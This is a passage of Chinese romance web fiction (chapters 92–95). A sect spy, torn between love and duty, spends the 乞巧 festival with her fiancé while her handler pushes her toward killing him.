榻上的被褥往旁陷了些许,她立时醒了,又想起如今会坐在她榻侧的人唯有那一个,睫毛颤动两下,没有睁开。 他根本受不了不见她,早晚要来,躲不开的。 他径自掀开衾被,上了榻,从背后抱住她,手搁在她小腹,鼻子蹭着她脑后的发,又嗅闻起来。 低低道:“还要冷落我多久啊。” 她闭着眼,没说话。 “皎皎。”他合握在她小腹上的手,大拇指缓缓摩挲起来,摸得她小腹热热的,“皎皎。” 幸好她还可以装睡。 她没理。 他叹息起来,吻她的耳廓。 “你睡着的时候,不是这样的呼吸。”他闭着眼,“别装,皎皎。” 她睁开眼。 他这个人,明明对她一无所知,可是某些地方,怎么又了如指掌。 “回来了?”她也懒得再同他演。 “嗯。” 她又懒洋洋闭上了眼睛:“去你房里。” 身后规律起伏的胸膛,停滞了一瞬。 搂着她的手又收紧了:“为什么。” 因为你已经爱我到可以被我所杀,我不需要再哄你了。 她懒得回答。 顾怀瑾最讨厌她不答话——但凡她说点什么也好,一句话也不同他讲,就像一个没有把的茶壶,想拿起来都找不到抓手。 连日的冷落,他早已忍受不了,一把将人拨翻了身,强迫她转到他这一边,搂着腰按住。 她一下子被人强迫着翻了过来,心里正不爽,一抬眼,看见他脸色,竟然忘了发怒。 他哀戚看着她。 怎么又憔悴成这样了。整个人灰白得可怕,从前再狼狈也如一块温透的玉一般的人,整个萎败了下来,眼底尽是蛛网般的红血丝,再瘦下去,快脱相了。 嘴唇白得像生面,唯有唇角,一丝扎眼的红血,刺得人眼睛痛。 顾怀瑾又托着她的腰,将她往怀里按了按,手掌抵在她后背,“为什么不准我过来。你又不喜欢我了?” 一开口,他身上熟悉的气息,夹杂着她更加熟悉的血腥气,扑在她鼻子底下。 他还在吐血啊。 她手指触了触他的唇——从前他的唇,很软,很润,很好亲,怎么几天就干裂成这个样子。 “你这几天怎么样?” “一直在想你为什么冷落我。” 我是问你的心疾。 她垂下眼,食指曲起来,刮了刮他的下颌。 她也不知道自己为什么要这么做。 “我没有冷落你。”她想,她还是心软了,“是你自己没有来。” “那天是你叫我走的。” 当然。你甚至不知道我是谁,就敢说爱我,我为什么要跟你一张床榻睡觉。 他道:“你生气了吗?是不是最近一直在生气?为什么?” “没有。” “少敷衍我。每次你敷衍我的时候,眼睛就不看我,若无其事地往右下看。” 她惊愕抬眼,不知道说什么好。 他怎么连这个都观察? “生什么气?”他伸出手,抚上她颊侧,爱怜地摸着她的脸,“同我说啊,为什么有话不肯同我说。我们不是夫妻吗?” 那两个字,她毕生不曾往自己身上套过,挑眉笑了。 “你说,我会改的。”他拥着她,明明比她高出许多,却弯着腰,依恋地贴在她身上,一边在她颈窝里深嗅着,“你哪里生气,我会听的,怎么因为这点事就放着我不理。” 她闭了闭眼。 方才心软,开了个坏头,就不该开。 他道:“这些天,我仔细想过了。是不是因为兰台太高,你说了不想去,我还拉你去,你不高兴?” 不是,哪有那么任性。 “还是,你怕高,我一直没发现,你觉得我对你不上心?” ……你这还叫不上心吗。 “还是,”搂着她的双臂骤然收紧,她仿佛被他绑住一般,动弹不得,“你觉得,我患得患失得太过分,整日磨你,你烦了?” 她拍拍他的背:“没有。” “如果有,也没关系。”他抵着她的额头,手捧着她的脸,手指摸着她的眼睫,“我会改的。我可以忍的。我很会忍的。” 她的心仿佛被闷棍敲了下。 他此前,在慧德手底下吃过那么多苦,就是因为太能忍。 怎么现在,还把“能忍”两个字,当作长处,标榜起来了。 “傻子,不要对人说自己能忍。人家会欺负你的。” 她简直不知道自己这些话,是在发什么蠢。 “你要是想,我能怎么办。”他叹息,“是皎皎,欺负就欺负吧。” 她喉咙仿佛被塞住了,手放在他胸前,抓得他衣服皱了。 很想抱他,很想把头搁在他肩上,想跟他抵着头相互依偎。 她发觉嘴唇哆嗦得厉害,下意识紧紧抿住了。 她闭上眼睛。 顾怀瑾一只手,在她背后,哄孩子似的,一下一下缓缓拍着: “有时候,觉得你胆子小。有时候,又发觉你很坚强。有时候,好似从未认识过你。有时候,却又好像已经认识多年了。” “但是,不要因为坚强,就不依赖我。有什么事,你同我说,不要自己一个人挺着。” “我与你一同面对,没有办法的事也会有办法,听话。” 有办法? 她很想哭,怎么又想哭了。雾刀是不是正在旁边? 她不该再见顾怀瑾了。根本——连见都不该再见。 “还有,同心结。” 她喉咙里如今有一种古怪的呜咽,强咽下去。 “嗯?” “从前你答应给我做个同心结,什么时候给我。” 他阖着眼,语气轻得唯有两人听得见。 “是那个我做给李……” 腰上的手掐了她一下。 “早做好了,忘了给你。”她手指将他脸上沾着的一根猫毛捏下来,“栀子黄的。就在架子上。” “嗯。”他吻了吻她的眼睫,意外吻落了她一颗泪。 “怎么哭了?”他垂眼,凑到她眼前,仔细看她。 那眼神,怜爱得叫她心酸。 她的眼泪成串滚落,不说话。 手放在他胸口,忽然,摸到了一根硬硬的、细细的绳。 她心里轰隆一声,发觉大难临头。 镇山玉牌。 第93章 那天之后,她终于明白了一件事。 在顾怀瑾面前,她从前引以为傲的清醒和心狠,轻易就会不作数。 他两句话就会让她落泪。 偏偏他什么也不知情,每日在她耳边说爱。 她煎熬得无法忍受,又无法说狠话逼他离开——他如今不是能够被逼走的性子,她越冷言以待,他越不肯松手,只会适得其反。 她无法,只得趁他不注意,自己偷用些常备着的蒙汗药,整日如死人般昏睡。 睡过去,就好了。日子就过得快,也不必再见面。 顾怀瑾在梦外头,过得怎么样,她不知道。 但她在梦里过得很好。 有时候,是梦见些前尘往事。大姐肩上的血将衣裳整个染红了,眼里光芒灼灼,告诉她,活下去。 或者,是二哥,空洞的眼睛,头歪下来垂在肩上,几乎是一个勾股形,流着血的口,一开一合,对她说,活下去。 有时候,又是岁安,后背被打得皮开肉绽,却若无其事地将夜行服穿上了,扣着扣子:“咦?你来得太早了吧?你来这边干什么?回去回去!” 有时候,是在往生门她的寮舍内。小小的她,坐在木头凳子上,太瘦,骨头硌得自己生疼,她抱着自己膝盖,拿一把往生门内发下来的匕首,在抽屉最深处的角落,一笔一划地刻。 逃。 逃。逃走。逃出去。离开这 里。 不要在这里了。不要杀人。 要自由,要光明正大地走在阳光下。 从心自在,自由来去。 还有些时候,她会梦见从前的自己。 那时候,她杀了人还会心虚,彻夜彻夜地睡不着觉,梦见那些再也回不来的人,还会痛哭。 她有一个本子,仔仔细细记下每一个她不愿杀但不得不杀的名字,希望以后可以还。 后来,她渐渐健忘,渐渐拿一切当成了理所当然。 她所痛恨过的,不知不觉成了她的一部分。 那个本子,若要写,其实早写得完,但未待写完,已被她丢了。 她与从前不同了,再也变不回以前的样子。 所以,就算想金盆洗手,也是枉然。 想到这些的时候,她在梦与现实的夹缝里,会很高兴。 高兴她不可动摇,高兴她坚不可摧,高兴她没有被情爱所骗。 但有时候,也会做些不知所谓的梦。 她在梦里反复地杀顾怀瑾。 有时,是她一剑刺穿了他的心口,他口里淌出黏稠的血来,错愕用手掌接着,狐疑地抬眼看她。 有时,是她刚握紧了剑柄,忽然身子一歪,接着,什么东西嗤地一声从她身体里拔出去,整个胸口濡湿温热起来,她不敢置信地看他,月色底下,他冷笑: “你不是也早想杀我吗?” 有时,她附在顾怀瑾耳侧,流着眼泪,道出实情。 顾怀瑾安静听她絮絮讲了许多,最后听完时,只有一句话: “所以,你原是个细作?” 然后,雾刀一支冷箭射穿她心口,她呕着血,看着他用那样的神色看她,连眼泪都没有。 那样的眼神,即便是在梦里,也会叫她发抖。 如果,他会用那种眼神看她。 那还不如杀了他。 还有时,她剑已经出鞘,顾怀瑾如鹿一般无辜且迷茫,见她抽出了剑,还不知道躲,无可奈何朝她伸出手:“剑也能玩?再伤着自己。别闹,给我。” 她看着他的脸,无论如何下不了手,剑搁在自己脖子上,轻轻一抹。 有时,是用剑。 有时,是从兰阁高台上,跳下去。 每当这时,即便用了蒙汗药,人也惊醒了,醒来就见到他守在她床边,握着她的手。 他坐在床边,对她而言,如今,是噩梦。 她闭上眼睛,又昏睡过去。 朦朦胧胧间,顾怀瑾抚摸着她的发:“怎么要么生病,要么昏睡。好不容易醒了过来,就开始流眼泪。” 他用衣袖,将她蓄在眼窝和鼻梁间的泪泊蘸去。 她怕他温柔,怕得要命,钻回沉沉的梦里。 还有时,会做一些更可怕的梦。 梦里,仿佛是暮雪院他的房间内,他们已经成了婚,顾怀瑾做了掌门,雕窗上贴着的囍字仍未揭下,她已经可以大大方方地躺在他的榻上。 夜里,万籁俱寂,她被月亮爬上山巅的声音惊醒,迷迷糊糊睁开眼。 顾怀瑾顾虑她正睡着,只点了一支纤细的蜡烛,伏在书案前,批着公文。 墙上,他的影子静静的。 “怀瑾。”她床头放着一些他已经批过的公文,她随手拿来,打开翻着。 “醒了?”他回身看了一眼,又垂首蘸墨。 “今年冬天,过年的时候,我们偷跑到山下去逛灯会好不好?” 他笑着,“做掌门的,带头往山下偷溜?” “好不好嘛。” 他无可奈何地笑着,有点犹豫,将公文翻了一页。 白糖喵呜一声蹿上了榻。她在梦里,竟然也不恼,“啧”了一声,“你家猫儿踩的你枕头,你管不管。” “随它吧。” 她嘶了一声,“你这人。猫不守规矩,你不管,我不想守你们的规矩,你就不让。” 披着衣服走下榻,从他的笔筒里抽出一支毛笔,在他的砚台里蘸了墨。 他倏地抬起头来,“做什么?别在我公文上画画——” 她哼着小曲,大摇大摆趴回榻上,两条腿随性翘着,打开他的公文,照着白糖,两三笔就画成。 画上,猫对着人翘尾巴,趾高气昂地伸出爪子来,要小鱼干。 顾怀瑾气急:“又画!上次大会上,我将公文一打开,头有两个大,你怎么又——” 她咯咯笑着,滚进锦被里去。 那样的梦,比梦见自刎更可怕。 后来,日子一天天在梦中过去,订婚的日子终于近了。 她整日昏睡,所有的事情都由顾怀瑾一人操心,只有在她醒着的时候,问两句她的意见。 她也没有什么意见。只是说,能否简单些,她不喜欢麻烦。 他心疼她这些日子昏睡不醒,默了一下。 “好吧。如果皎皎想,那么,一切从简,免得你累。” 她点头。 顾怀瑾俯下身来抱她:“我想了想,虽然你的父母已去了,但该有的仪礼还是要有,免得日后有人说你身份不明,再轻看你。所以在山下,用了些人脉,找了个姓楚的富贵人家,对外就说,你是楚家的女儿。三书六礼,媒妁之言,一切仪礼都从他们那走。” “嗯。” “过几天,便纳征。下月初,便请期。纳征,你也不必操心。” “嗯。” 他捧起她的脸,仔细看着,“怎么天天睡这么久。不舒服么?” 她在他怀里,麻木眨眼。 他不知怎么,忽然道:“皎皎,这几天,我觉得你好似正瞒着我,受什么苦。” 她惊愕抬眼望着他。 他清泉一样的眸子,倒映出她没有生气的脸,“你当真没有事情瞒着我么?” 他疼惜担忧的眼睛,同梦里的他,重叠了。 梦里,他漠然得可怕,简短地问:“所以,你原是个细作?” 她不敢赌。 她长睫垂下一瞬:“没有。” 顾怀瑾知道,她又把他推开了。 她忽然道:“顾怀瑾。” 郑重其事的语气,他心下一凛。 他吻了吻她的唇珠:“怎么?” “倘若我病死了,你怎么办?” 她不知道自己为什么要这么问。 他继续吻她: “不要说死。” 她打开他的手: “如果我偏要说呢?” 他阖着的眼睛睁开一条细缝,眼里水雾润泽,手捧起她的下巴,张口吻下来: “我们一起。” * 临近纳征的日子,她愈发不敢清醒,每日在梦里沉浮。仿佛梦是她的厚厚的茧,她心甘情愿困在其中,期待着破出来的那天,就想开了,放下了,可 以成蝶。 顾怀瑾越发忙碌,请了屈术先生上来,替她把了脉,发觉她只是嗜睡,并没有添别的病症,便吩咐屈术先生替她调养身子,自己下朝瑶峰办事。 日子一天天过去,事情一件一件办好了。 有一天,她难得清醒过来,流素在床榻旁一勺一勺喂她喝药,入口苦辣的药汤,她毫无知觉地喝下去,问了一句: “今天是什么日子了?” “七月初七。” 她睡得混沌,一时没想起来这是什么日子。 “夫人今日可要与少掌门同过乞巧节?” 乞巧。 她抓紧了衾被。如今订婚的仪礼一项一项过,连明月阁内的衾被都换成了并蒂莲纹的,两团胖胖的莲背对背靠着,连在一根纤长的茎上。 她看着那莲花,不无恶意地,想将那两团莲球从中劈开。 “那也得他回来。人不是不在么。” 话音刚落,雕花木门被推开,顾怀瑾抬步跨入,进来便东张西望地寻她,见她刚醒,走来她床边。 使了个眼色示意流素下去,接过了她手里的药碗。 “今日精神头好些了?”他舀了一勺药,递到她唇边。 “嗯。”她不看他。 “苦不苦?” “还好。” 他笑:“你也真奇怪。从前,稍微磕一下碰一下,就眼泪汪汪的,可是现在,这么苦的东西,喝下去,竟然一声不吭。” 她偏开头,不说话。 她乖乖喝药,顾怀瑾欣慰得很,将最后一勺吹凉喂完了,搁下药碗,拿起果盘上的一颗荔枝,揪去了短梗,哧哧剥着皮。 “聘金、喜饼和祭品之类都已经送去了楚家,这就算下完了聘礼。下一步,就要议定婚期了。”半透明的荔枝肉托在他掌中,他看着她的眼睛,温柔道: “皎皎,我们这就算已经订了婚。” 她偏头看着窗外,一排仙鹤扑着翅膀隐入云中,忽然,其中一只僵了一瞬,直挺挺地坠入云深处。 雾刀一阵阴笑,传入耳畔:“订婚了,就今晚。” 那一瞬间,仿佛她的美梦成了真,梦里嚼着她骨头的恶鬼,终于在现实中盯准了她,吐着臭气,即便她醒来,也闻得到。 她将荔枝核吐在他摊开的掌心里:“今天是乞巧。” “你身子若是好些,我带你下山过个节?” 顾怀瑾眨眨眼,神色竟然有点调皮。 她知道雾刀在听着。 但是她道:“好啊。” 雾刀:“下什么山,过什么节?节外生枝。你怕是真爱上他了吧,南琼霜?” “顾怀瑾。”她忽然道。 “怎么?” 他已经站起身去替她拿外衣,闻言回过身来。 她一个字也没有,定定看了他许久。 他一头雾水。 半晌,她道:“阴阳钥究竟是谁拿的,细作找到了么?” “还没。”他拿了梳子过来,将外衣披到她肩上,熟稔无比地替她将长发细细通开:“经手公文的所有人,都押上了涟雷台受审,但现在,还没审出什么所以然。” “开了山内大会,长老们还有说……”他笑了一下,“算了,这些话,你没必要听。” “公文我也接触得到,我是不是也要上涟雷台?”她看着他。 梳子在她长发中间,滞了一瞬。 许久,“说什么呢。”他笑道,“不会。” 但她已经轻易地解读了他那沉默。 未必不会。 假如他当真查出她什么来,他并不一定会保她。 兄弟背离、夫妻反目、父母卖儿,这些年来,她已经亲眼见过不知凡几。 何况,是为了他视作生命的天山。 即便他爱她,即便她还没下手,即便倘若她在下手前坦白,或许他会原谅她。 可是,倘若他知道,他对她全部的爱,都是她存心勾起来,蓄意骗到手的,往后余生,难道他们还能毫无嫌隙地过下去吗? 聪明人,不做梦。 她闭上眼睛,轻轻道: “下山吧。” “把我那紫棕色的木头耳坠拿来。” 第94章 顾怀瑾带她偷溜下山的路,是雾刀打算带她出山的那条路。 路在含雪峰下,黄玫瑰花海的另一个方向。 站在漆黑的山洞前,南琼霜的碎发被洞里幽森的冷风拂起来。 顾怀瑾在她身侧:“很黑。我抱着你走?” 她什么都还没干,已经没有力气,筋疲力竭地点点头。 顾怀瑾将她抱在怀里。 山洞里阴暗潮湿,黑暗黏稠地贴在皮肤上,冰进骨头。 她闭上眼睛,什么也不愿多想,耳朵贴在他胸口,静静听着他的心跳。 “这条路,我幼时常走。那时候还淘气,爹爹看我很严,但我总有办法逃出去。”他笑,“但是,这里头的路太复杂,我小时候,会一路用匕首在岩壁上刮,刮出痕迹,免得回来迷路。” 他把她抱到山壁旁,“你摸摸?” 她如今对这些小事兴趣缺缺,依言摸了摸,果然指腹碰到几行刻出来的刀痕,“嗯。” “精神还是不大好?” “没有。” “你若是不大舒服,我们就回去。” 她抓紧了他的衣袖:“不回去。” 他们的第一个乞巧节,也是最后一个。 所以,不回去。 走了不知多久,黑暗破开,眼前倏地现出一片夺目的光来。 山下,四方镇说大不大,说小不小,固然算不上繁华,但也并不冷清。缤纷繁复的花灯成串挂满了天空,绵延开来,集市顶上仿佛罩了个红光摇曳的棚,家家户户屋檐下垂着花灯,路上,人流涌动,摩肩接踵。 那是她第一次,不穿夜行服,不避任何人目光,光明正大地,出现在人群中。 她闭上眼。风,携着叫卖声、人语声,带着炊饼和核桃酥的香气,轻轻地,拂在她脸上。 倘若,她自由了,风就该是这样的味道吧。 自由,身边还有…… 她不再想了。 顾怀瑾怕她身子不好,走两步又走坏了,抱着她一路往山下集市走,不敢放手。 她一路依偎在他脖子旁,倒很争气,不该流泪的时候,已经不再流泪。 终于到了集市,他将她轻轻放下来,小心扶住她。 “到了。” 四方镇里,花灯高悬,张灯结彩,热闹非凡。 镇中俱是再平凡不过的普通人,穿着粗麻布衣,男子仅以幅巾束发,女子也仅戴一些平凡首饰。虽然朴素,却人人喜悦生动,脸上红彤彤的。 乞巧节,正是情人相会的节日,路上的人成双成对,她饶有兴致地一对对看过去。 前面,地上铺了一块粗麻布,上面摆了些黯淡首饰,这就已经算小摊。摊位前停了一对情人,那女子生得普通,可是眉眼带笑,她身旁的情郎拿起一支粗银簪子,往她头上比着,她对着那粗麻布上的一块碎镜子来回地看,羞得脸上热腾腾的。 旁边,一个赤脚老汉靠在墙角坐着,屁股底下一块白布,摆着各色亲手制的花灯。一个女人提起了一只,旁边的男子掏着钱,絮絮叨叨:“年年买,回回买,买完了只点一天。” 再前面,又有一对闹了别扭的。少女用手帕拭着泪,一跺脚往前跑了两步,又怕真跑远了被人掳了去,两三步就回头瞧一眼。她情郎却木讷,站在原地不知如何是好,呆头鹅一般。 她看什么都觉得新鲜,都觉得有趣,静静看着,不说话。 顾怀瑾不觉有什么,四下一看,旁边有卖糖画的,想问她要不要一个。 低头一看她,却愣了。 为什么用这种眼神看着这一切。 新鲜又艳羡,眷恋又怀念,明明还没有失去,已经开始怀恋。 好像一个习惯失去的人,看见了梦寐以求的东西,不敢抓住,只求记住。 忽然,煌煌灯海里,她抬眼,看着他。 那个她不敢抓住、只求记住的东西,倏地变成了他。 街上人来人往。 他愣住了。 为什么用这种眼神看着他? 她什么也没说,一颗眼泪也没有流,一双眼睛笑成弯弯的月牙,眼底一点薄红,泛着晶莹的水光: “看什么呢,走吧。” 他问:“皎皎,你是不是有话对我说?” 她不回答,一个人头也不回地往前走。 顾怀瑾不知道为什么,总觉得她这一走,他们就此天各一方,再也不会相见,心里一慌,疾步跟上。 他抓着她的手,发觉她的手被冷汗湿透了,一惊:“你不舒服?” “没有。” “怎么手这么凉?” 她不解释:“你帮我暖暖不就好了。” 他将她两只手一齐捧在掌中攥住,“我们回去吧。你最近 一直……” “不回去。”她斩钉截铁,手往前面的小摊一指:“那里有卖梳子的?好多人啊。” 顾怀瑾牵着她往那小摊前走,走三步回头看两下,“当真没事?” 她不接话,“为什么乞巧节要卖梳子?” “说是夫妻共用一把梳子,便可算作结发。”他停到了那小摊前,“这是四方镇的习俗。皎皎不是一直在这当船娘,怎么不知道这个?” 你看,一直瞒,终有一天也会瞒不下去的。 她不答,蹲在小摊前,兴致盎然地看着。 那摊位上,梳子琳琅满目,半月形玉梳通透温润、彩绘木梳鲜妍缤纷、马蹄形漆木梳花纹繁复,她手肘拄着膝盖,捧着脸看,一时选不出来。 “想要哪个?”他问。 她带着一点虚幻的笑,看了一圈。 最后,自嘲着,摇摇头,站起身。 南琼霜,你这是在做什么。 你想的东西,不是买了把梳子,就留得住的。 顾怀瑾却对那摊贩道:“拿把玉梳。” 她一愣,那半月形的雕花玉梳被他递到手里,滑凉细腻,“为什么买玉的?这种摊上的石头,不一定真是玉。” 他笑:“我的私心。” 她没明白。 俄而,又反应过来。 他的字,怀瑾。 她默然无语,垂眸,捋过一缕长发,放在胸前,细细梳着。 顾怀瑾走到她身侧,拉起自己一缕发,与她的长发并到一起,用那柄玉梳梳下。 黑亮顺滑的发丝,被半透明的梳齿通开,一直通到发尾。 他拈着两人那一缕发,抬起眼睛对她笑,“皎皎,这样我们就算结发。” 华灯底下,他神色是一贯的温柔,辉煌灯火将他笑起来时眼底的卧蚕映得几乎晶莹,眼里两点明雪般的光亮。 那双笑眼,她如今看一瞬,就会痛。 她笑起来。 胸膛里忽然一阵古怪的抽搐,她说不准是哽咽还是干咳,用笑声强压下去,左顾右盼,东张西望。 他将那柄玉梳复又收回袖中,拉着她在人海里穿梭。 前面,一个卖糖画的小摊。 顾怀瑾将她拉过去,“想要个什么图案的?” 她垂眼,摊位上已经摆了些现成的,她一支一支仔细看过去,看得笑了。 全都很丑。 牡丹画的像轮子,龙画的像蚯蚓,一只狗,左眼上天右眼入地,显出些不平凡的智慧。 她摇摇头,附在他耳边:“画成这样,不如不出来罢。” 顾怀瑾挑眉:“真的?不比你画的强些。” 她本困在悲哀中出不来,这话叫她短暂懵了一下,气笑了。 “什么?污蔑。你见我画过?” “你没画过?”他笑,“为了给白糖打衣服,不是粗略画了个小画?我看见了,实在太丑,想打趣你,都没敢。” 她气得又嗤笑一声。 “没敢?什么叫没敢?难道我画得不好,还会骂你?” “你这还不算骂我?”他耸耸肩,“想要什么图案?我给你画。” 山上第一丹青手,这时候还真是显着你了,南琼霜白他一眼。 “我自己画。”她从顾怀瑾手里掰出铜板来,递到那守着摊位的老汉面前,“可否我自己来画?” 那老汉收了钱还不需干活,自然乐得偷懒,连连点头。 顾怀瑾一只手揽到她腰间:“画什么?” “画你。” “画我?”他一根手指迷茫指着自己,“糖画以寥寥数笔画成为佳,你要画我?” “简单得很。”她头也不抬。 顾怀瑾无可奈何,拭目以待。 南琼霜拿着盛着糖浆的勺,在石板上行云流水地一兜,一个圆。 顾怀瑾看了一眼就笑了:“我脸竟有这么圆?” 她不答,在那圆上利落画了个井字。 顾怀瑾登时知道她要画什么,叹口气揉着眉心。 那圆的四周,被她添了五个小小的圆弧,糖浆顷刻干了,她将那勺子复放回一旁的砂锅里。 老汉走来,将她的糖画黏在木棍上,拿起来一看,当即笑出了声,道: “这王八倒是栩栩如生啊。” 南琼霜接过来,在他脸庞一比:“听见没?人家说栩栩如生。” 顾怀瑾歪着头,一向疏俊英朗的人,气笑了又无奈,睨了她一阵,也没说什么,食指在她脸上刮了下。 她把那王八再凑到他眼前,金黄色的半透明的糖,举到空中,近乎琥珀:“这就是你。” 顾怀瑾凉凉笑了一声,拿过她的手,在那糖王八上就是一口,咔一声,将那王八的头咬断了。 看着她又惊又难以置信的脸,他得意嚼着:“怎么?凑到我面前来不是喂我的吗?” “你这人……”她咬着唇,恨恨锤了他一下,低下头接着他咬过的地方咬了一口。 “那里有画小像的。”她道。 他没说话,望着她。 一点焦黄色的糖片,黏在她唇间,露出一点晶光。似乎化开些许,连唇瓣上都沾了些糖液。 软软的娇嫩的唇。 每次含一下,他心都要化没了。 他久未答话,南琼霜愣住了,纳闷地回头来看他。 “怎么了?” 人山人海,熙熙攘攘,他在如海灯火里,缱绻地、缠绵地望着她。 半晌,他叹息一声,大拇指指腹出神地按在她双唇上,揉着。 他心痒难耐,道:“晚上回去亲亲你。” 晚上。 她眼睛霎时红了,踉跄开半步,躲开他的眼睛。 顾怀瑾又牵起了她的手,“想画小像?”他忽然想起那个梦,“我最善丹青,为什么你总想找别人画?” “什么叫‘总’?” 他不说话。 那个梦,画完了小像,她就走了,将他一人丢在人潮里,任他怎么崩溃,就是不肯回头。 那个梦,他不喜欢。 “你怎么了?”她问。 “皎皎,”他仰头看着天,天上如今一道耀眼缤纷的银河,横亘在天边,他望着那银河,悠远地、茫然地,忽然问了一句: “你会走吗?” 她怔住了。 他说:“你不能走。” 她垂下眼。 交握的手缓缓收紧,顾怀瑾握着她的手用了些力。 他的眼睛,微微发红,眼底一丝纤亮的光,脆弱却偏执: “皎皎,答应我。” 是谁要走?他到现在,还没有明白。 她说:“好。” 顾怀瑾得了她一句允诺,可是,却不论如何,无法松口气。 不知为什么,他最近总觉得,她在筹谋着离开他。 或者,——抛下他。 他心慌得受不住,不顾街上人山人海,将她拥进怀里,吻她的耳垂。 “今晚回去,好好让我亲亲,好不好。” 这么多人面前,她倒也没恼,手抚上了他的背,抓皱了他的衣服。 “好。” 她不敢再多想。 “小像还要不要画?”她问,“如果不画……” 如果不画,也先别说回去。 “画吧。”他不知为什么,隐约觉得,留下一幅她的画,也是好的,虽然还是想亲自替她画一幅,但是终究,来不及了。 什么来不及了? 他牵着她的手,将她领到那小摊前,对那忙碌着的摊贩道:“老伯,请问可否替我妻子画幅小像?” 话一出口,他愣住了。 梦里,他似乎说了一模一样的话。 那老伯转回身来,同梦里一样的斑白头发,一样的皱纹堆叠在眼角,眉毛中间,一样的一颗黑痣。 “两口子?新婚燕尔?” 她脸腾地红了,抓住他的衣襟:“瞎说什么呢。” 他立在原地,仿佛被一道惊雷劈中。 为什么? 为什么一切都跟那个梦……重合了? 他忽然想起方才她看他那眼神——不求抓住、只求记住。 他眼睛一下子红了:“你当真要走?!” 第95章 她怔忪看着他,不明白他怎么忽然洞穿了她最深的心事,迷茫眨眼。 “怀瑾……?” 他知道,或许吓着她了,但他顾不得: “画完小像,我们马上回去。” 不容置疑的、急切的口吻。 总是说要离开他。多少次了?! 为什么总想走?他对她不好吗?! 他抓住她的手,倘若一刻不抓着,就一刻也放不了心,对那赔笑的老伯道:“快画。” 那老伯见他上一刻还温和,下一刻就阴戾至此,连句多余话也不敢有,喏喏应着。 顾怀瑾一张脸冷得仿佛大寒时节的冰坨子,守在她身侧。 “烦请快些。我夫人身子不好,要回去了。” 老伯满头大汗,不敢答话, 运笔如飞。 没一阵,就画成了。她将画接在手里,刚展开了看一眼,忽地手上糖画融化了,掉落一块,砸在手上。 她垂眸,将那糖块吻去了。 顾怀瑾的心,一寸寸冰凉。 再去拿那幅画的时候,画的右边缘果然印了一个微红的指印,沾着糖浆与口脂。 他不敢再看了,将铜板塞进老伯手里,二话不说抓着她往山上走。 她不知道顾怀瑾忽然是怎么了,怎么不由分说地非回去不可,连她都还没有想要回去,他急什么? 她被顾怀瑾拽得往前急走了几步,反应过来,强站在原地,拉住他:“怀瑾。” 顾怀瑾回头,神色已经有些可怕。 他何曾用这种神色看过她。 她心中惊惧:“你怎么了?” 他冷笑一声,“我怎么,你自己知道。” 她仿佛在初初化开的冰湖上行走,不知湖面厚薄,猝不及防地跌入冰洞里,冻得不知是痛还是麻。 知道了?知道什么? 方才还好好的,忽然神色如此可怕,是看穿了什么细节,猜出了她的身份吗? 她惊疑不定,一口气堵在胸口上不来,头有点发晕。 轻轻松开了他的手。 他一把将她的手抓回来,攥在掌心:“我们回山。” 雾刀咯咯咯笑起来。 她顾不得,拉着他回来:“一会放烟花呢。我们……” “回山上看也是一样。”他回眸,眸光森寒,“还是说,你想去哪?” 阴狠的语气,不准她离开天山。 她骨髓都一节一节冻实了,这样的形势,她在此前的任务中曾经见过。 为了抓一个久已有嫌疑的人,先是和颜悦色,叫他放松警惕,最后万事俱备,骤然发难,一网打尽。 想把她抓上天山? 为什么? 她两条腿仿佛陷在地里一般动弹不得。 顾怀瑾见她不愿回山,心下更暴躁,不顾周遭目光,一把将她捞起来,抱在怀里,往山上走。 雾刀趁机接:“告诉他去兰阁。兰阁禁地。” 她牙关发颤,骨节一阵咯咯作响。 兰阁?还兰阁? 怕是回了山,直接要上涟雷台。 从涟雷台上下来,会不会直接杀了她? 早知道原本也会反目成仇—— 雾刀:“南琼霜,去兰阁。你不会当真想叛——” “少放屁!他不知道发觉了什么,我说的话如今他还肯听么!”她用传音入密回。 “你得试试啊。他抽的是什么风,这么久以来,你还没有头绪?你干什么吃的?” 她心下烦躁不已,试探着软着嗓子道:“怀瑾。你不想在山下看烟花的话,我们回山上看吧。” “嗯。”他声音平而冷。 “突然生的什么气?”她在他脸颊吻了一下,提心吊胆等他的反应。 他没躲,脚步顿时停了,在原地怔了一瞬。 下一秒,脸色好似舒缓一些,然而那略微的动容,又很快冰封起来。 他不说话。 南琼霜这时才明白,早就该做的事,她拖拖拉拉,拖到今天,或许只是给自己徒增麻烦。 他们早晚要反目成仇的。即便她叛变,即便她留下,他们也没有第二条路。 从前,她还是太傻。 她好声好气道:“我听山上人说,山上有一处地方,名唤兰阁,正在朝瑶峰旁,地势高绝,又不似兰台那样凄冷。不若我们去那里看烟花?” 她看着他。 即便他已经发现了她的身份,倘若念旧情,他未必不会与她最后看一场烟花。 许久,他道:“好。” 回山的路,顾怀瑾一如既往抱着她,在山洞中穿行。 洞中漆黑幽邃,两个人都没有说话。 她闭着眼睛,靠在顾怀瑾怀里,他的长发时时垂落下来,蹭着她耳畔。 都到了这个时候,还是带着他一贯的气息。 她疲乏已极,在他怀里蹭了蹭。 夜里真安静啊,天山上无人过乞巧节。 他抱着她,自那黑黢黢的山洞中走出来,繁灯欢笑霎时被隔绝在身后,天山上,只有夜枭惨鸣。 她勾着他的脖子,手摸了摸他的脸,阖着眼与他太阳穴相抵,已经不再想哭了。 一切,已经如此清晰。 她是猎手,他是猎物,两个人不可能共存。 真可怜啊。 她仰在顾怀瑾的臂弯里,朦朦胧胧睁开眼,看见头顶一步一步掠过的层叠的树叶。 她有点喘不上气,幽幽呼吸,手微微发着抖。 雾刀:“一会上兰阁,我跟着你上去。别想跟我耍什么花招,南琼霜。” 她搂住顾怀瑾的脖子,额头抵在他太阳穴旁蹭着。 “嗯。” “含雪峰与朝瑶峰以三条铁索相连,但含雪峰实在太陡峭,连我也下不去,我们还需从朝瑶峰走。过铁索,回朝瑶峰,从朝瑶峰下,靠近地面时用轻功去含雪峰底下,找到出山密道,下山。” “嗯。”她道,“在想计划,滚。” 雾刀“切”了一声,依言隐去了。 顾怀瑾仍是不说话。 她不知道他究竟因何忽然变色,但多年细作生涯,她习惯做最坏的揣测。 到最后了。 假如他真的发现了她的身份,这是她最后的机会。 杀了他。 越快越好,最好一剑穿心。 * 顾怀瑾抱着她,一路从登山天梯上了朝瑶峰。 朝瑶峰与含雪峰相连的铁索,正在明月阁背后的密林尽头。 她站在林子里,拢紧衣服。 山风呼啸,甘冽芬芳。 那日他领她上兰台看星星,风里也是这个味道。 她碎发翻飞,最后回身,深深地、久久地,望了一眼。 明月阁立在云中,无动于衷。 